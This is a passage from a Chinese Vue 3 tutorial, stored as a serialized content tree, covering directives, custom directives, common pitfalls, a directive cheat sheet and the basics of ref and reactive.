的缩写",[63,19303,19304,19306,19311],{},[84,19305,18873],{},[84,19307,19308],{},[22,19309,19310],{},":[name]=\"value\"",[84,19312,19313],{},"方括号里是变量",[63,19315,19316,19319,19323],{},[84,19317,19318],{},"一次绑多属性",[84,19320,19321],{},[22,19322,18894],{},[84,19324,19325,19326],{},"常配 ",[22,19327,18898],{},[63,19329,19330,19332,19337],{},[84,19331,18860],{},[84,19333,19334],{},[22,19335,19336],{},":disabled=\"isOff\"",[84,19338,19339],{},"值为假时移除属性",[63,19341,19342,19345,19355],{},[84,19343,19344],{},"条件渲染",[84,19346,19347,1901,19349,1901,19352],{},[22,19348,18308],{},[22,19350,19351],{},"v-else-if",[22,19353,19354],{},"v-else",[84,19356,19357],{},"假时节点不存在",[63,19359,19360,19363,19368],{},[84,19361,19362],{},"切换显示",[84,19364,19365],{},[22,19366,19367],{},"v-show",[84,19369,19370,19371],{},"节点在，只是 ",[22,19372,19373],{},"display:none",[63,19375,19376,19379,19384],{},[84,19377,19378],{},"列表",[84,19380,19381],{},[22,19382,19383],{},"v-for=\"item in list\" :key=\"item.id\"",[84,19385,19386],{},"key 必填（第十一章）",[63,19388,19389,19392,19397],{},[84,19390,19391],{},"事件",[84,19393,19394],{},[22,19395,19396],{},"@click=\"doIt\"",[84,19398,19399,19301],{},[22,19400,19401],{},"v-on:",[63,19403,19404,19407,19412],{},[84,19405,19406],{},"表单双向",[84,19408,19409],{},[22,19410,19411],{},"v-model=\"text\"",[84,19413,19414],{},"第六章",[63,19416,19417,19420,19431],{},[84,19418,19419],{},"插槽",[84,19421,19422,1901,19425,1901,19428],{},[22,19423,19424],{},"\u003Cslot>",[22,19426,19427],{},"#name",[22,19429,19430],{},"v-slot",[84,19432,19433],{},"第十章",[63,19435,19436,19439,19444],{},[84,19437,19438],{},"只渲染一次",[84,19440,19441],{},[22,19442,19443],{},"v-once",[84,19445,19446],{},"静态内容提速",[63,19448,19449,19452,19457],{},[84,19450,19451],{},"跳过编译",[84,19453,19454],{},[22,19455,19456],{},"v-pre",[84,19458,19459],{},"展示模板代码时必用",[63,19461,19462,19465,19469],{},[84,19463,19464],{},"挂载前隐藏",[84,19466,19467],{},[22,19468,18374],{},[84,19470,19471],{},"配合 CSS 防闪烁",[48,19473,19475],{"id":19474},"三指令条件循环事件与动态参数","三、指令：条件、循环、事件与动态参数",[11,19477,19478,19479,19482],{},"指令就是模板里的「特殊属性」，以 ",[22,19480,19481],{},"v-"," 开头，告诉 Vue「对这个元素做点什么」。统一结构：",[308,19484,19486],{"className":485,"code":19485,"language":487,"meta":314,"style":314},"v-name:argument.modifier1.modifier2=\"expression\"\n│    │        │                    │\n指令 参数      修饰符                表达式（不能是语句）\n",[22,19487,19488,19493,19498],{"__ignoreMap":314},[331,19489,19490],{"class":333,"line":334},[331,19491,19492],{"class":337},"v-name:argument.modifier1.modifier2=\"expression\"\n",[331,19494,19495],{"class":333,"line":341},[331,19496,19497],{"class":337},"│    │        │                    │\n",[331,19499,19500],{"class":333,"line":357},[331,19501,19502],{"class":337},"指令 参数      修饰符                表达式（不能是语句）\n",[11,19504,19505,19506,19509,19510,19513,19514,19517,19518,2012,19520,19522,19523,2012,19526,17306,19529,19532,19533,161],{},"看三个例子就能对上号：",[22,19507,19508],{},"v-on:click.stop=\"close\"","（事件指令 + 参数 click + 修饰符 stop）、",[22,19511,19512],{},"v-bind:href=\"url\"","（属性绑定）、",[22,19515,19516],{},"v-slot:header","（插槽具名）。",[22,19519,19401],{},[22,19521,19300],{}," 用得最多，所以有缩写 ",[22,19524,19525],{},"@click",[22,19527,19528],{},":href",[22,19530,19531],{},"v-slot:"," 的缩写是 ",[22,19534,19535],{},"#header",[53,19537,19539,19540,5160,19542,19544],{"id":19538},"条件v-if-与-v-show-选哪个","条件：",[22,19541,18308],{},[22,19543,19367],{}," 选哪个",[57,19546,19547,19561],{},[60,19548,19549],{},[63,19550,19551,19553,19557],{},[66,19552],{},[66,19554,19555],{},[22,19556,18308],{},[66,19558,19559],{},[22,19560,19367],{},[79,19562,19563,19579,19590,19601,19615],{},[63,19564,19565,19568,19573],{},[84,19566,19567],{},"假的时元素",[84,19569,19570],{},[17,19571,19572],{},"不在 DOM 里",[84,19574,19575,19576],{},"在 DOM 里，",[22,19577,19578],{},"style=\"display:none\"",[63,19580,19581,19584,19587],{},[84,19582,19583],{},"切换开销",[84,19585,19586],{},"销毁\u002F重建，有子组件生命周期",[84,19588,19589],{},"只改一个 CSS 属性",[63,19591,19592,19595,19598],{},[84,19593,19594],{},"初始开销",[84,19596,19597],{},"假时完全不渲染，几乎为零",[84,19599,19600],{},"一样要渲染",[63,19602,19603,19609,19612],{},[84,19604,19605,19606,19608],{},"支持 ",[22,19607,17928],{}," 分组",[84,19610,19611],{},"支持",[84,19613,19614],{},"不支持（需要真实元素）",[63,19616,19617,19619,19622],{},[84,19618,11987],{},[84,19620,19621],{},"很少切换、初始就该省掉",[84,19623,19624],{},"频繁切换（tab 面板、下拉展开）",[11,19626,19627,1901,19629,19631,19632,19635,19636,19638],{},[22,19628,19354],{},[22,19630,19351],{}," 必须",[17,19633,19634],{},"紧跟","在上一个 ",[22,19637,18308],{}," 元素之后（中间只能有空格和 HTML 注释），否则 Vue 找不到配对、直接报错。",[53,19640,19642],{"id":19641},"循环事件绑定一次看全","循环、事件、绑定：一次看全",[308,19644,19646],{"className":5996,"code":19645,"language":5998,"meta":314,"style":314},"\u003Ctemplate>\n  \u003Cli v-for=\"(user, i) in users\" :key=\"user.id\">{{ i + 1 }}. {{ user.name }}\u003C\u002Fli>\n\n  \u003Cbutton @click=\"count++\">计数 {{ count }}\u003C\u002Fbutton>\n  \u003Cform @submit.prevent=\"onSubmit\">          \u003C!-- .prevent 拦住默认提交 -->\n    \u003Cinput v-model=\"q\" @keyup.enter=\"search\">  \u003C!-- 按键修饰符 -->\n  \u003C\u002Fform>\n\n  \u003Cdiv :class=\"{ panel: true, active: isOpen }\" :style=\"{ height: h + 'px' }\">\n    \u003Cp v-show=\"isOpen\">内容\u003C\u002Fp>\n    \u003Cp v-text=\"msg\">\u003C\u002Fp>                     \u003C!-- 等价于 {{ msg }}，但会被 innerText 覆盖 -->\n    \u003Cp v-pre>这里的 {{ code }} 原样显示\u003C\u002Fp>   \u003C!-- 展示模板代码专用 -->\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[22,19647,19648,19656,19683,19687,19707,19727,19755,19763,19767,19791,19812,19835,19854,19862],{"__ignoreMap":314},[331,19649,19650,19652,19654],{"class":333,"line":334},[331,19651,510],{"class":337},[331,19653,6012],{"class":497},[331,19655,505],{"class":337},[331,19657,19658,19660,19662,19664,19666,19669,19671,19673,19676,19679,19681],{"class":333,"line":341},[331,19659,537],{"class":337},[331,19661,1662],{"class":497},[331,19663,8073],{"class":501},[331,19665,518],{"class":337},[331,19667,19668],{"class":365},"\"(user, i) in users\"",[331,19670,8081],{"class":501},[331,19672,518],{"class":337},[331,19674,19675],{"class":365},"\"user.id\"",[331,19677,19678],{"class":337},">{{ i + 1 }}. {{ user.name }}\u003C\u002F",[331,19680,1662],{"class":497},[331,19682,505],{"class":337},[331,19684,19685],{"class":333,"line":357},[331,19686,998],{"emptyLinePlaceholder":997},[331,19688,19689,19691,19693,19695,19697,19700,19703,19705],{"class":333,"line":371},[331,19690,537],{"class":337},[331,19692,824],{"class":497},[331,19694,7348],{"class":501},[331,19696,518],{"class":337},[331,19698,19699],{"class":365},"\"count++\"",[331,19701,19702],{"class":337},">计数 {{ count }}\u003C\u002F",[331,19704,824],{"class":497},[331,19706,505],{"class":337},[331,19708,19709,19711,19714,19717,19719,19722,19724],{"class":333,"line":384},[331,19710,537],{"class":337},[331,19712,19713],{"class":497},"form",[331,19715,19716],{"class":501}," @submit.prevent",[331,19718,518],{"class":337},[331,19720,19721],{"class":365},"\"onSubmit\"",[331,19723,18672],{"class":337},[331,19725,19726],{"class":1003},"\u003C!-- .prevent 拦住默认提交 -->\n",[331,19728,19729,19731,19734,19737,19739,19742,19745,19747,19750,19752],{"class":333,"line":397},[331,19730,6036],{"class":337},[331,19732,19733],{"class":497},"input",[331,19735,19736],{"class":501}," v-model",[331,19738,518],{"class":337},[331,19740,19741],{"class":365},"\"q\"",[331,19743,19744],{"class":501}," @keyup.enter",[331,19746,518],{"class":337},[331,19748,19749],{"class":365},"\"search\"",[331,19751,18706],{"class":337},[331,19753,19754],{"class":1003},"\u003C!-- 按键修饰符 -->\n",[331,19756,19757,19759,19761],{"class":333,"line":418},[331,19758,778],{"class":337},[331,19760,19713],{"class":497},[331,19762,505],{"class":337},[331,19764,19765],{"class":333,"line":427},[331,19766,998],{"emptyLinePlaceholder":997},[331,19768,19769,19771,19773,19776,19778,19781,19784,19786,19789],{"class":333,"line":439},[331,19770,537],{"class":337},[331,19772,6021],{"class":497},[331,19774,19775],{"class":501}," :class",[331,19777,518],{"class":337},[331,19779,19780],{"class":365},"\"{ panel: true, active: isOpen }\"",[331,19782,19783],{"class":501}," :style",[331,19785,518],{"class":337},[331,19787,19788],{"class":365},"\"{ height: h + 'px' }\"",[331,19790,505],{"class":337},[331,19792,19793,19795,19797,19800,19802,19805,19808,19810],{"class":333,"line":450},[331,19794,6036],{"class":337},[331,19796,11],{"class":497},[331,19798,19799],{"class":501}," v-show",[331,19801,518],{"class":337},[331,19803,19804],{"class":365},"\"isOpen\"",[331,19806,19807],{"class":337},">内容\u003C\u002F",[331,19809,11],{"class":497},[331,19811,505],{"class":337},[331,19813,19814,19816,19818,19821,19823,19825,19827,19829,19832],{"class":333,"line":456},[331,19815,6036],{"class":337},[331,19817,11],{"class":497},[331,19819,19820],{"class":501}," v-text",[331,19822,518],{"class":337},[331,19824,18633],{"class":365},[331,19826,902],{"class":337},[331,19828,11],{"class":497},[331,19830,19831],{"class":337},">                     ",[331,19833,19834],{"class":1003},"\u003C!-- 等价于 {{ msg }}，但会被 innerText 覆盖 -->\n",[331,19836,19837,19839,19841,19844,19847,19849,19851],{"class":333,"line":775},[331,19838,6036],{"class":337},[331,19840,11],{"class":497},[331,19842,19843],{"class":501}," v-pre",[331,19845,19846],{"class":337},">这里的 {{ code }} 原样显示\u003C\u002F",[331,19848,11],{"class":497},[331,19850,16314],{"class":337},[331,19852,19853],{"class":1003},"\u003C!-- 展示模板代码专用 -->\n",[331,19855,19856,19858,19860],{"class":333,"line":785},[331,19857,778],{"class":337},[331,19859,6021],{"class":497},[331,19861,505],{"class":337},[331,19863,19864,19866,19868],{"class":333,"line":795},[331,19865,788],{"class":337},[331,19867,6012],{"class":497},[331,19869,505],{"class":337},[11,19871,19872],{},"内置指令一共十几个，完整清单在本章末尾的速查表里。这里只强调三个不常被注意的：",[1773,19874,19875,19886,19891],{},[1662,19876,19877,19879,19880,19882,19883,19885],{},[22,19878,18374],{},"：配合 ",[22,19881,18377],{}," 解决挂载前的 ",[22,19884,18369],{}," 闪烁。",[1662,19887,19888,19890],{},[22,19889,19443],{},"：元素渲染一次后不再更新，用于纯静态内容（省下一遍 diff）。",[1662,19892,19893,322,19895,19898],{},[22,19894,16154],{},[22,19896,19897],{},"v-memo=\"[依赖项]\"","，依赖不变时跳过整棵子树更新，是长列表的兜底加速手段（第十一章有场景）。",[53,19900,19902],{"id":19901},"自定义指令给元素挂点行为","自定义指令：给元素挂点「行为」",[11,19904,19905],{},"组件解决「一块界面」，指令解决「某个元素上的 DOM 行为」（聚焦、拖拽、埋点、水波纹）。",[308,19907,19909],{"className":942,"code":19908,"language":944,"meta":314,"style":314},"\u002F\u002F 全局注册\napp.directive('focus', {\n  mounted(el) { el.focus() }\n})\n\n\u002F\u002F 组件内局部注册（组合式里用 vFocus，模板里仍写 v-focus）\nconst vFocus = { mounted: (el) => el.focus() }\n",[22,19910,19911,19916,19928,19944,19948,19952,19957],{"__ignoreMap":314},[331,19912,19913],{"class":333,"line":334},[331,19914,19915],{"class":1003},"\u002F\u002F 全局注册\n",[331,19917,19918,19920,19922,19924,19926],{"class":333,"line":341},[331,19919,18169],{"class":337},[331,19921,18190],{"class":501},[331,19923,966],{"class":337},[331,19925,18195],{"class":365},[331,19927,8613],{"class":337},[331,19929,19930,19932,19934,19936,19939,19941],{"class":333,"line":357},[331,19931,18030],{"class":501},[331,19933,966],{"class":337},[331,19935,18205],{"class":2472},[331,19937,19938],{"class":337},") { el.",[331,19940,18215],{"class":501},[331,19942,19943],{"class":337},"() }\n",[331,19945,19946],{"class":333,"line":371},[331,19947,5399],{"class":337},[331,19949,19950],{"class":333,"line":384},[331,19951,998],{"emptyLinePlaceholder":997},[331,19953,19954],{"class":333,"line":397},[331,19955,19956],{"class":1003},"\u002F\u002F 组件内局部注册（组合式里用 vFocus，模板里仍写 v-focus）\n",[331,19958,19959,19961,19964,19966,19968,19970,19972,19974,19976,19978,19980,19982],{"class":333,"line":418},[331,19960,951],{"class":616},[331,19962,19963],{"class":344}," vFocus",[331,19965,957],{"class":616},[331,19967,605],{"class":337},[331,19969,17953],{"class":501},[331,19971,6534],{"class":337},[331,19973,18205],{"class":2472},[331,19975,3180],{"class":337},[331,19977,1489],{"class":616},[331,19979,18212],{"class":337},[331,19981,18215],{"class":501},[331,19983,19943],{"class":337},[308,19985,19987],{"className":485,"code":19986,"language":487,"meta":314,"style":314},"\u003Cinput v-focus>\n\u003Cdiv v-track:click=\"'首页按钮'\">带参数和修饰符也行\u003C\u002Fdiv>\n",[22,19988,19989,20000],{"__ignoreMap":314},[331,19990,19991,19993,19995,19998],{"class":333,"line":334},[331,19992,510],{"class":337},[331,19994,19733],{"class":497},[331,19996,19997],{"class":501}," v-focus",[331,19999,505],{"class":337},[331,20001,20002,20004,20006,20009,20011,20014,20017,20019],{"class":333,"line":341},[331,20003,510],{"class":337},[331,20005,6021],{"class":497},[331,20007,20008],{"class":501}," v-track:click",[331,20010,518],{"class":337},[331,20012,20013],{"class":365},"\"'首页按钮'\"",[331,20015,20016],{"class":337},">带参数和修饰符也行\u003C\u002F",[331,20018,6021],{"class":497},[331,20020,505],{"class":337},[11,20022,20023,20024,20026,20027,20030,20031,1677,20034,655,20037,20039,20040,161,20043,20046],{},"钩子按用途挑：只在挂载时干一次用 ",[22,20025,17953],{},"；每次更新都要同步 DOM 用 ",[22,20028,20029],{},"updated","；需要区分「值变了」和「组件重渲染」用带 ",[22,20032,20033],{},"oldValue",[22,20035,20036],{},"beforeUpdate",[22,20038,20029],{},"；卸载清理用 ",[22,20041,20042],{},"unmounted",[17,20044,20045],{},"指令里不要写业务逻辑、不要去改响应式数据","——它只负责「对这个 DOM 元素做操作」。",[4748,20048],{"height":5635,"src":20049,"title":20050},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F03-directives.html","示例 03：v-if\u002Fv-show 的真差别、动态参数与事件修饰符",[11,20052,20053,20054,20056,20057,20059,20060,20062,20063,20066],{},"示例 03 里可以直接数 DOM 节点：",[22,20055,18308],{}," 关掉时元素真的没了，",[22,20058,19367],{}," 关掉时它只是被 ",[22,20061,19373],{}," 藏起来；第三块能看到冒泡链路（不加 ",[22,20064,20065],{},".stop"," 会先 inner 后 outer）。",[53,20068,4796],{"id":6605},[11,20070,20071,268,20074,272,20077,20080,20081,161],{},[17,20072,20073],{},"1. 指令的值必须是表达式，且不能声明变量。",[22,20075,20076],{},"v-if=\"const a = 1\"",[22,20078,20079],{},"v-for=\"let x of list\""," 都编译失败。想要中间变量就用 ",[22,20082,4781],{},[11,20084,20085,20093,20094,20096,20097,20100,20101,1677,20103,20106,20107,20110,20111,20113,20114,20116,20117,20119],{},[17,20086,5672,20087,2012,20089,20092],{},[22,20088,18308],{},[22,20090,20091],{},"v-for"," 写在同一个元素上。"," Vue 3 里 ",[22,20095,18308],{}," 优先级更高，它会",[17,20098,20099],{},"先","执行——此时 ",[22,20102,20091],{},[22,20104,20105],{},"item"," 还不存在，报 ",[22,20108,20109],{},"item is not defined","。解法三条（第十一章细讲）：把 ",[22,20112,18308],{}," 挪到外层 ",[22,20115,17928],{},"、用 ",[22,20118,4781],{}," 先过滤、或把循环体拆成子组件。这是 Vue2 升级到 Vue3 最常见的报错来源之一。",[11,20121,20122,20130,20131,20133],{},[17,20123,6665,20124,20126,20127,20129],{},[22,20125,19367],{}," 不能用在 ",[22,20128,17928],{}," 或组件上。"," 它需要一个能改 ",[22,20132,595],{}," 的真实元素；组件是多根时也没地方落。",[11,20135,20136,20139],{},[17,20137,20138],{},"4. 自定义指令加在组件上时，只有单根组件生效。"," 它拿不到组件内部元素，会尝试落到根元素；多根（fragment）时直接警告并失效。",[11,20141,20142,268,20145,12247,20148,20150,20151,20153],{},[17,20143,20144],{},"5. 动态参数里别放空格、大写或复杂表达式。",[22,20146,20147],{},":[name]",[22,20149,1900],{}," 求值结果若是 ",[22,20152,5872],{},"，整个绑定属性会被移除（有时是你想要的，有时是漏配的 bug）。浏览器 in-DOM 模板里动态参数还会遇到大小写转换问题。",[11,20155,20156,268,20159,5160,20162,20165,20166,5760,20169,20172],{},[17,20157,20158],{},"6. 修饰符顺序有意义。",[22,20160,20161],{},"@click.stop.prevent",[22,20163,20164],{},"@click.prevent.stop"," 都能工作，但 ",[22,20167,20168],{},"@click.self.stop",[22,20170,20171],{},".self"," 会先做判断，后面的处理函数可能根本不执行。想搞清先后就照官方文档顺序读，别猜。",[11,20174,20175,268,20178,272,20181,20184,20185,20187,20188,20190],{},[17,20176,20177],{},"7. 拼错指令名不会报错，只会「什么都没发生」。",[22,20179,20180],{},"v-onClck",[22,20182,20183],{},"v-modle"," 这类拼写错误 Vue 不会拦（开发版有 ",[22,20186,20183],{}," 的提示，但不覆盖全部），排查时先 grep 一遍 ",[22,20189,19481],{}," 开头的属性名。",[53,20192,20194],{"id":20193},"附内置指令速查表","附：内置指令速查表",[57,20196,20197,20209],{},[60,20198,20199],{},[63,20200,20201,20204,20206],{},[66,20202,20203],{},"指令",[66,20205,7759],{},[66,20207,20208],{},"典型写法",[79,20210,20211,20227,20244,20262,20276,20294,20310,20325,20341,20353,20364,20375],{},[63,20212,20213,20219,20222],{},[84,20214,20215,1901,20217],{},[22,20216,19237],{},[22,20218,18588],{},[84,20220,20221],{},"设置 textContent \u002F innerHTML",[84,20223,20224],{},[22,20225,20226],{},"v-text=\"msg\"",[63,20228,20229,20233,20239],{},[84,20230,20231],{},[22,20232,19367],{},[84,20234,20235,20236],{},"切换 ",[22,20237,20238],{},"display",[84,20240,20241],{},[22,20242,20243],{},"v-show=\"isOpen\"",[63,20245,20246,20254,20257],{},[84,20247,20248,1901,20250,1901,20252],{},[22,20249,18308],{},[22,20251,19351],{},[22,20253,19354],{},[84,20255,20256],{},"条件渲染（增删节点）",[84,20258,20259],{},[22,20260,20261],{},"v-else-if=\"n > 3\"",[63,20263,20264,20268,20271],{},[84,20265,20266],{},[22,20267,20091],{},[84,20269,20270],{},"列表\u002F对象\u002F数字\u002F字符串遍历",[84,20272,20273],{},[22,20274,20275],{},"v-for=\"(v, k) in obj\" :key=\"k\"",[63,20277,20278,20286,20289],{},[84,20279,20280,1147,20283,1351],{},[22,20281,20282],{},"v-on",[22,20284,20285],{},"@",[84,20287,20288],{},"监听事件，支持修饰符",[84,20290,20291],{},[22,20292,20293],{},"@keyup.esc=\"close\"",[63,20295,20296,20302,20305],{},[84,20297,20298,1147,20300,1351],{},[22,20299,18737],{},[22,20301,1180],{},[84,20303,20304],{},"绑定属性\u002Fprops\u002F样式\u002Fclass",[84,20306,20307],{},[22,20308,20309],{},":class=\"clsObj\"",[63,20311,20312,20317,20320],{},[84,20313,20314],{},[22,20315,20316],{},"v-model",[84,20318,20319],{},"表单\u002F组件双向绑定",[84,20321,20322],{},[22,20323,20324],{},"v-model.trim=\"q\"",[63,20326,20327,20334,20336],{},[84,20328,20329,1147,20331,1351],{},[22,20330,19430],{},[22,20332,20333],{},"#",[84,20335,19419],{},[84,20337,20338],{},[22,20339,20340],{},"#header=\"{ title }\"",[63,20342,20343,20347,20350],{},[84,20344,20345],{},[22,20346,19456],{},[84,20348,20349],{},"跳过该元素及其子树的编译",[84,20351,20352],{},"展示模板代码",[63,20354,20355,20359,20362],{},[84,20356,20357],{},[22,20358,18374],{},[84,20360,20361],{},"挂载完成前保留该属性",[84,20363,19471],{},[63,20365,20366,20370,20372],{},[84,20367,20368],{},[22,20369,19443],{},[84,20371,19438],{},[84,20373,20374],{},"纯静态块",[63,20376,20377,20381,20384],{},[84,20378,20379],{},[22,20380,16154],{},[84,20382,20383],{},"依赖不变时跳过子树更新",[84,20385,20386],{},[22,20387,20388],{},"v-memo=\"[row.id]\"",[57,20390,20391,20401],{},[60,20392,20393],{},[63,20394,20395,20398],{},[66,20396,20397],{},"事件修饰符",[66,20399,20400],{},"等价于",[79,20402,20403,20414,20426,20436,20449,20459,20474,20497],{},[63,20404,20405,20409],{},[84,20406,20407],{},[22,20408,20065],{},[84,20410,20411],{},[22,20412,20413],{},"event.stopPropagation()",[63,20415,20416,20421],{},[84,20417,20418],{},[22,20419,20420],{},".prevent",[84,20422,20423],{},[22,20424,20425],{},"event.preventDefault()",[63,20427,20428,20433],{},[84,20429,20430],{},[22,20431,20432],{},".capture",[84,20434,20435],{},"用捕获阶段监听",[63,20437,20438,20442],{},[84,20439,20440],{},[22,20441,20171],{},[84,20443,20444,20445,20448],{},"只有 ",[22,20446,20447],{},"event.target"," 是自己时才触发",[63,20450,20451,20456],{},[84,20452,20453],{},[22,20454,20455],{},".once",[84,20457,20458],{},"只触发一次",[63,20460,20461,20466],{},[84,20462,20463],{},[22,20464,20465],{},".passive",[84,20467,20468,20471,20472,5149],{},[22,20469,20470],{},"{ passive: true }","，滚动不阻塞（不能同时 ",[22,20473,20420],{},[63,20475,20476,20494],{},[84,20477,20478,1901,20481,1901,20484,1901,20487,1901,20490,20493],{},[22,20479,20480],{},".keyup.enter",[22,20482,20483],{},".esc",[22,20485,20486],{},".tab",[22,20488,20489],{},".space",[22,20491,20492],{},".up"," …",[84,20495,20496],{},"按键名\u002F系统别名",[63,20498,20499,20510],{},[84,20500,20501,1901,20504,1901,20507],{},[22,20502,20503],{},".left",[22,20505,20506],{},".right",[22,20508,20509],{},".middle",[84,20511,20512],{},"鼠标按键",[48,20514,20516],{"id":20515},"四ref-与-reactive响应式对象的入口","四、ref 与 reactive：响应式对象的入口",[11,20518,20519,20520,20523,20524,20527,20528,20530,20531,20534],{},"响应式的原理值得知道一句：Vue 3 用 ",[22,20521,20522],{},"Proxy"," 代理对象，「读」的时候记录谁在用这个属性，「写」的时候通知这些使用者重新渲染。这条机制决定了两件事——",[17,20525,20526],{},"基本类型没法被代理","（所以要有 ",[22,20529,4778],{},"），以及",[17,20532,20533],{},"代理对象一旦被替换或解构，链路就断了","（所以有那一堆坑）。",[53,20536,20538],{"id":20537},"ref一切的入口","ref：一切的入口",[308,20540,20542],{"className":5996,"code":20541,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nimport { ref } from 'vue'\nconst count = ref(0)              \u002F\u002F 返回 { value: 0 } 这样的「引用对象」\nconst user = ref({ name: '阿蓝' }) \u002F\u002F 也能装对象\u002F数组\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>{{ count }}\u003C\u002Fp>              \u003C!-- 模板里自动解包，不用写 .value -->\n  \u003Cbutton @click=\"count++\">+1\u003C\u002Fbutton>   \u003C!-- 模板里也能直接用（编译器加了 .value） -->\n\u003C\u002Ftemplate>\n",[22,20543,20544,20554,20564,20584,20605,20613,20617,20625,20642,20664],{"__ignoreMap":314},[331,20545,20546,20548,20550,20552],{"class":333,"line":334},[331,20547,510],{"class":337},[331,20549,891],{"class":497},[331,20551,6299],{"class":501},[331,20553,505],{"class":337},[331,20555,20556,20558,20560,20562],{"class":333,"line":341},[331,20557,4648],{"class":616},[331,20559,17859],{"class":337},[331,20561,13735],{"class":616},[331,20563,17864],{"class":365},[331,20565,20566,20568,20570,20572,20574,20576,20578,20581],{"class":333,"line":357},[331,20567,951],{"class":616},[331,20569,18074],{"class":344},[331,20571,957],{"class":616},[331,20573,13780],{"class":501},[331,20575,966],{"class":337},[331,20577,628],{"class":344},[331,20579,20580],{"class":337},")              ",[331,20582,20583],{"class":1003},"\u002F\u002F 返回 { value: 0 } 这样的「引用对象」\n",[331,20585,20586,20588,20590,20592,20594,20597,20600,20602],{"class":333,"line":371},[331,20587,951],{"class":616},[331,20589,13900],{"class":344},[331,20591,957],{"class":616},[331,20593,13780],{"class":501},[331,20595,20596],{"class":337},"({ name: ",[331,20598,20599],{"class":365},"'阿蓝'",[331,20601,3130],{"class":337},[331,20603,20604],{"class":1003},"\u002F\u002F 也能装对象\u002F数组\n",[331,20606,20607,20609,20611],{"class":333,"line":384},[331,20608,788],{"class":337},[331,20610,891],{"class":497},[331,20612,505],{"class":337},[331,20614,20615],{"class":333,"line":397},[331,20616,998],{"emptyLinePlaceholder":997},[331,20618,20619,20621,20623],{"class":333,"line":418},[331,20620,510],{"class":337},[331,20622,6012],{"class":497},[331,20624,505],{"class":337},[331,20626,20627,20629,20631,20634,20636,20639],{"class":333,"line":427},[331,20628,537],{"class":337},[331,20630,11],{"class":497},[331,20632,20633],{"class":337},">{{ count }}\u003C\u002F",[331,20635,11],{"class":497},[331,20637,20638],{"class":337},">              ",[331,20640,20641],{"class":1003},"\u003C!-- 模板里自动解包，不用写 .value -->\n",[331,20643,20644,20646,20648,20650,20652,20654,20657,20659,20661],{"class":333,"line":439},[331,20645,537],{"class":337},[331,20647,824],{"class":497},[331,20649,7348],{"class":501},[331,20651,518],{"class":337},[331,20653,19699],{"class":365},[331,20655,20656],{"class":337},">+1\u003C\u002F",[331,20658,824],{"class":497},[331,20660,16314],{"class":337},[331,20662,20663],{"class":1003},"\u003C!-- 模板里也能直接用（编译器加了 .value） -->\n",[331,20665,20666,20668,20670],{"class":333,"line":450},[331,20667,788],{"class":337},[331,20669,6012],{"class":497},[331,20671,505],{"class":337},[11,20673,20674],{},"规则只有两条，但必须刻进肌肉记忆：",[1659,20676,20677,20695],{},[1662,20678,20679,268,20687,20690,20691,20694],{},[17,20680,20681,20682,20684,20685,161],{},"在 JS 里读写 ",[22,20683,4778],{}," 必须带 ",[22,20686,8879],{},[22,20688,20689],{},"count++"," 不会报错（把一个对象当数字加），而是安静地变成 ",[22,20692,20693],{},"NaN","——示例 04 现场演示了这个瞬间。",[1662,20696,20697,20702,20703,20706],{},[17,20698,20699,20700],{},"在模板里不需要 ",[22,20701,8879],{},"（顶层 ref 自动解包）。例外：ref 藏在普通对象里时不解包，",[22,20704,20705],{},"{{ obj.count.value }}"," 得写全。",[308,20708,20710],{"className":942,"code":20709,"language":944,"meta":314,"style":314},"const state = { count: ref(0) }   \u002F\u002F ✗ 普通对象里的 ref 模板里要写 .value\nconst state = reactive({ count: ref(0) })  \u002F\u002F ✓ reactive 对象内部的 ref 自动解包\n",[22,20711,20712,20735],{"__ignoreMap":314},[331,20713,20714,20716,20719,20721,20723,20725,20727,20729,20732],{"class":333,"line":334},[331,20715,951],{"class":616},[331,20717,20718],{"class":344}," state",[331,20720,957],{"class":616},[331,20722,17995],{"class":337},[331,20724,4778],{"class":501},[331,20726,966],{"class":337},[331,20728,628],{"class":344},[331,20730,20731],{"class":337},") }   ",[331,20733,20734],{"class":1003},"\u002F\u002F ✗ 普通对象里的 ref 模板里要写 .value\n",[331,20736,20737,20739,20741,20743,20745,20748,20750,20752,20754,20757],{"class":333,"line":341},[331,20738,951],{"class":616},[331,20740,20718],{"class":344},[331,20742,957],{"class":616},[331,20744,9158],{"class":501},[331,20746,20747],{"class":337},"({ count: ",[331,20749,4778],{"class":501},[331,20751,966],{"class":337},[331,20753,628],{"class":344},[331,20755,20756],{"class":337},") })  ",[331,20758,20759],{"class":1003},"\u002F\u002F ✓ reactive 对象内部的 ref 自动解包\n",[53,20761,20763],{"id":20762},"reactive对象专用但有三个限制","reactive：对象专用，但有三个限制",[308,20765,20767],{"className":942,"code":20766,"language":944,"meta":314,"style":314},"const form = reactive({ name: '', tags: [], meta: { ver: 1 } })\nform.name = '小青'          \u002F\u002F 不用 .value，直接改\nform.tags.push('新')        \u002F\u002F 数组的 push\u002Fsplice\u002F索引赋值都能被捕获\n",[22,20768,20769,20790,20803],{"__ignoreMap":314},[331,20770,20771,20773,20775,20777,20779,20781,20783,20786,20788],{"class":333,"line":334},[331,20772,951],{"class":616},[331,20774,9153],{"class":344},[331,20776,957],{"class":616},[331,20778,9158],{"class":501},[331,20780,20596],{"class":337},[331,20782,9164],{"class":365},[331,20784,20785],{"class":337},", tags: [], meta: { ver: ",[331,20787,7993],{"class":344},[331,20789,7256],{"class":337},[331,20791,20792,20795,20797,20800],{"class":333,"line":341},[331,20793,20794],{"class":337},"form.name ",[331,20796,518],{"class":616},[331,20798,20799],{"class":365}," '小青'",[331,20801,20802],{"class":1003},"          \u002F\u002F 不用 .value，直接改\n",[331,20804,20805,20808,20811,20813,20816,20818],{"class":333,"line":357},[331,20806,20807],{"class":337},"form.tags.",[331,20809,20810],{"class":501},"push",[331,20812,966],{"class":337},[331,20814,20815],{"class":365},"'新'",[331,20817,13842],{"class":337},[331,20819,20820],{"class":1003},"\u002F\u002F 数组的 push\u002Fsplice\u002F索引赋值都能被捕获\n",[11,20822,20823,20825],{},[22,20824,14225],{}," 的三条边界，第一条就淘汰掉了大部分「到处 reactive」的写法：",[11,20827,20828,268,20831,20834,20835,20838,20839,20842],{},[17,20829,20830],{},"限制一：解构即失效。",[22,20832,20833],{},"const { name } = form"," 拿到的是普通字符串，之后 ",[22,20836,20837],{},"form.name = 'x'"," 它不会变。补救是 ",[22,20840,20841],{},"toRefs(form)","（解构出来的每个字段仍是 